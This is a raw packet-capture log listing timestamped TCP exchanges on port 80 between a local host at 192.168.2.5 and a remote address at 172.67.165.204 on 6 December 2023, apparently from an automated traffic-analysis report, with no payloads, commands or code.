Dec 6, 2023 14:50:51.292088032 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.292112112 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.292119980 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.292134047 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.292154074 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.292166948 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.292190075 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.292212009 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.292222977 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.292232990 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.292265892 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.292268991 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.292304993 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.292327881 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.292337894 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.292397022 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.292429924 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.292440891 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.292463064 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.292494059 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.292499065 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.292535067 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.292567015 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.292591095 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.292613029 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.292645931 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.292648077 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.292670012 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.292691946 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.292701006 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.292926073 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.292963028 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.292977095 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.293015003 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.293045998 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.293051004 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.293100119 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.293133974 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.293152094 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.293210030 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.293231964 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.293242931 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.293253899 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.293275118 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.293284893 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.293354988 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.293387890 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.293428898 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.293450117 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.293472052 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.293481112 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.293504000 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.293526888 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.293534994 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.293576002 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.293606997 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.293628931 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.293664932 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.293687105 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.293697119 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.293709040 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.293730021 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.293740988 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.293766022 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.293787956 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.293801069 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.293808937 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.293831110 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.293847084 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.293867111 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.293900013 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.293916941 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.293940067 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.293972015 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.293973923 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.294009924 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.294043064 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.294065952 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.294102907 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.294125080 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.294133902 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.294146061 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.294181108 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.294202089 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.294225931 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.294246912 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.294256926 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.294318914 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.294341087 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.294352055 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.294362068 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.294384003 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.294393063 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.294419050 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.294440985 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.294450998 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.294461966 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.294495106 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.294512033 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.294533968 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.294565916 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.294569969 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.294590950 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.294621944 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.294625998 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.294749975 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.294770956 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.294784069 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.294792891 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.294815063 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.294826031 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.294836044 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.294857979 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.294869900 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.294893980 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.294917107 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.294933081 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.294979095 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.295015097 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.295042992 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.295079947 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.295114994 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.295130968 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.295152903 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.295186043 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.295213938 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.295236111 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.295258999 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.295274019 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.295308113 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.295339108 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.295341015 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.295392036 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.295414925 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.295428038 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.295449972 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.295471907 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.295485020 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.295495033 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.295527935 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.295531988 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.295553923 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.295584917 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.295722008 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.295754910 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.295775890 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.295788050 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.295798063 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.295819998 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.295830965 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.295842886 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.295864105 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.295876980 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.295901060 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.295934916 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.295977116 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.296010017 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.296041965 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.296071053 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.296092987 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.296124935 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.296256065 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.296278954 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.296312094 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.296329975 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.296353102 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.296375990 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.296391964 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.296426058 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.296448946 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.296468019 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.296471119 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.296492100 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.296505928 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.296528101 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.296561956 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.296565056 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.296586990 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.296617031 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.296621084 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.296705008 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.296736002 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.296746969 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.296775103 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.296797991 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.296808958 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.296818972 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.296850920 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.296961069 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.296993971 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.297018051 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.297034979 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.297099113 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.297122002 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.297135115 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.297153950 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.297188997 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.297190905 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.297271013 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.297293901 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.297303915 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.297316074 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.297338009 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.297347069 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.297358990 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.297393084 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.297409058 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.297430992 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.297451973 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.297465086 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.297487020 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.297508955 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.297521114 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.297544003 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.297565937 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.297575951 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.297586918 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.297620058 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.297682047 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.297719955 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.297743082 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.297753096 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.297765970 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.297796965 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.297822952 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.297846079 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.297868013 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.297875881 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.297904015 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.297936916 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.297940016 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.297976017 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.297996998 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.298008919 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.298095942 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.298129082 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.298156977 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.298180103 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.298202038 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.298213005 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.298223972 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.298247099 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.298254967 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.298268080 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.298289061 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.298300028 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.298310041 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.298346043 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.298346043 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.298382998 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.298404932 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.298415899 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.298439026 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.298471928 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.298475981 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.298660994 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.298696041 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.298696995 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.298732996 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.298764944 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.298831940 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.298882008 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.298904896 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.298918962 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.298937082 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.298974037 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.299015045 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.302735090 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.302791119 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.303673029 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.303785086 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.303850889 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.303855896 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.303894043 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.303936958 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.303946018 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.304203987 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.304246902 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.304272890 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.304662943 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.304703951 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.304796934 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.304863930 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.304898024 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.304899931 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.304956913 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.304991007 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.304991007 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.305063009 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.305102110 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.305108070 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.305145025 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.305181026 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.305191040 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.305260897 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.305294037 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.305294991 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.305318117 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.305350065 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.305365086 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.305444956 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.305480003 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.305505991 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.305543900 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.305583954 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.305597067 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.305619001 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.305650949 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.305699110 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.305738926 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.305774927 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.305794954 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.305849075 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.305883884 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.305934906 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.305967093 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.305999041 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.306006908 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.306083918 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.306118965 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.306124926 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.306178093 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.306206942 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.306211948 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.306236029 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.306269884 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.306284904 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.306334019 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.306365967 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.306370020 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.306401968 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.306433916 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.306468010 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.306556940 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.306587934 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.306592941 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.306636095 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.306669950 CET	49705	80	192.168.2.5	172.67.165.204
Dec 6, 2023 14:50:51.306693077 CET	80	49705	172.67.165.204	192.168.2.5
Dec 6, 2023 14:50:51.306757927 CET	80	49705	172.67.165.204	192.168.2.5
